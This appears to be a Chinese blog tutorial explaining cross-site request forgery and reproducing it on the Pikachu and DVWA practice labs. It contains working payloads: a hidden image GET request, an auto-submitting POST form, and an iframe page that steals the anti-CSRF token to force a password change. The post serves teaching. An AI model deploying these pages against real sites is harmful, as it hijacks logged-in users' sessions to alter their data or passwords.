CSRF跨站请求伪造(Cross-site Request Forgrey)解析及靶场复现

1.概述

CSRF跨站请求伪造(Cross-site Request Forgrey),攻击者通过盗用合法用户身份,以用户名义去做一些非法操作,如利用账号发邮件,获取敏感信息甚至盗取个人财产等等。由于对攻击过程和原理认识模糊,有时我们常常将CSRF、XSS混为一谈。以下通过一个例子来认识CSRF的攻击过程。

当我们通过浏览器登陆网络银行之后,浏览器会与网站服务器之间建立一个经过认证的会话。只要保持登陆状态,通过这个会话发送的任何请求都被视为可信的操作,如登陆之后即可进行转账、查账、基金购买等操作。当一段时间未进行操作之后,认证过的会话将自动断开,当你想再进行操作时就需重新登陆认证。

而CSRF攻击就是建立在会话之上,当你在浏览器上登陆含有CSRF漏洞的网银对老王进行一次正常转账,通常会发送合法请求:http://networkbank.org/pay.jsp?user=laowang&10000。

而在你登陆后正准备转账时,攻击者冒充你的朋友通过社交媒体给你发送一条带有诱导性的URL链接信息,

如:http://www.networkbank.org/pay.jsp?user=hacker&money=10000,其中仅改变了user参数。

链接下正是攻击者精心构造的转账业务代码,而且与你登陆的是同一家网银。当你毫无防备的点开这个URL后,你的账户金额可能会全部丢失转入攻击者的账户。其中攻击者构造的代码为正常的转账代码,攻击者只是借你的手,在你不知情的情况下亲手把钱转入攻击者的账户。因为此时你的浏览器与网站服务器端已经建立了合法认证后的会话,你作出的任何操作都是合法的。

利用CSRF漏洞攻击的过程:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 2.CSRF(Get)

首先模拟用户登录某平台

 登录成功后显示个人信息

 点击修改个人信息,将住址改为nba laker,然后点击submit用brupsuit抓取提交修改信息的包,发现请求URL为:

http://192.168.43.223/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba+laker&email=kobe%40pikachu.com&submit=submit

 

已知请求包的URL,然后伪造攻击URL:http://192.168.43.223/pikachu/fantastic.html

构造的fantastic.html脚本代码如下:

<img src="http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=hacker&phonenum=hacker&add=hacker&email=you are attacked!!!&submit=submit" border="0"style="display:none;"/>
 
<h1>You are attacked!!!!<h1> //这样有点嚣张,模拟404页面最好。
 
<h2>file not found.<h2>

然后引诱登录状态下的用户点击该链接会弹出如下页面。

 

而他的所有个人信息将会全部被修改。

 

 3.CSRF(Post)

当我们登陆之后,尝试抓提交个人信息修改的请求包。可见这时已变成Post请求。

 

当请求类型变为Post型之后,无法在URL中直接嵌入pyload,用户直接点击URL也不会触发CSRF漏洞。所以我们需要构造一个站点,类似于Post型XSS漏洞,当用户点击该链接的之后,会自动向存在CSRF漏洞的服务器发送修改个人信息的Post请求(Post型XSS是将cookie信息发送到攻击者的服务器)。 

构造一个post.html页面,代码如下:

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("Post_submit").click();
}
</script>
</head>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.43.223/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="hacker" />
      <input type="hidden" name="phonenum" value="7777777" />
      <input type="hidden" name="add" value="hacker" />
      <input type="hidden" name="email" value="you are attacked!!!" />
      <input id="Post_submit" type="submit" name="submit" value="submit" />
    </form>
  </body>
</html>

当用户在登陆状态下点击URL:http://192.168.43.223/pikachu/vul/csrf/post.html/(攻击服务器部署在本地,实际公网攻击情况下需要考虑跨域的问题),将会自动向存在CSRF漏洞的服务器发送修改信息的Post请求,修改成功。

 

 3.CSRF(Token)

 Token的认证方式很大程度上对CSRF漏洞进行了防范。当用户第一次登陆时,服务器通过数据库校验其userid和password合法,然后根据随机数字+userid+当前时间戳组合,再用DES加密生成一个Token串。认证成功后,客户端每次发送请求只需带上Token去验证(Token的详细介绍可参考《HTTP权威指南》)。而Token具有随机性,不易被伪造,对CSRF漏洞起到一定的防范作用。所以要触发CSRF漏洞必须获取token值,利用获取的token值向被攻击的服务器发送攻击请求。

登陆DVWA靶场的high等级的CSRF漏洞,模拟用户修改密码。

 抓取更改密码的包,发现采用的token认证。

 构造一个HTML页面,命名为csrf_token.html放入本地靶场服务器根目录下。用于实现获取用户当前token值并向被攻击服务器发送修改密码的get请求的操作。

<html>
<script>
function attack(){
document.getElementsByName('user_token')[0].value=document.getElementById("csrf").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("csrf_token").submit(); 
}
</script>
<iframe src="http://192.168.43.223/DVWA/vulnerabilities/csrf/" id="csrf" border="0" style="display:none;"></iframe> //利用iframe 框架,获得当前的token值
<body onload="attack()">
<form method="GET" id="csrf_token" action="http://192.168.43.223/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="666666">
<input type="hidden" name="password_conf" value="666666">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>

当用户点击 http://192.168.43.223/DVWA/csrf_token.html 时,密码将自动修改为666666。但此类情形是实验环境,靶场服务器与攻击服务器都处于同一域中。实际攻击中会涉及到跨域的问题,就需要结合其他漏洞或者利用其他方法,如XSS打组合拳获取token才可实现攻击目的。 

 

4.CSRF与XSS的区别

CSRF是盗用用户身份利用受害服务器对步骤③的攻击请求进行处理,恶意使用的内容仅限于服务器端提供的处理。即CSRF是攻击者冒充用户身份去对服务器发起非法的请求,服务器收到验证成功后的正常用户(冒充的)发送的请求后,执行该非法请求,此时攻击者达到攻击目的。

XSS则是受害服务器将步骤③攻击请求中所包含的恶意脚本原封不动的响应给用户,随后该脚本在客户的浏览器下被执行。即XSS是用户请求某一页面,而该页面具有XSS漏洞且已经被注入恶意XSS代码,服务器在处理完这一请求之后,将带有恶意XSS代码的数据响应给用户。此时用户浏览器将会解析执行这一恶意代码从而达到攻击目的。

 

posted @ 2021-01-27 17:34  Easyoung  阅读(669)  评论(0编辑  收藏  举报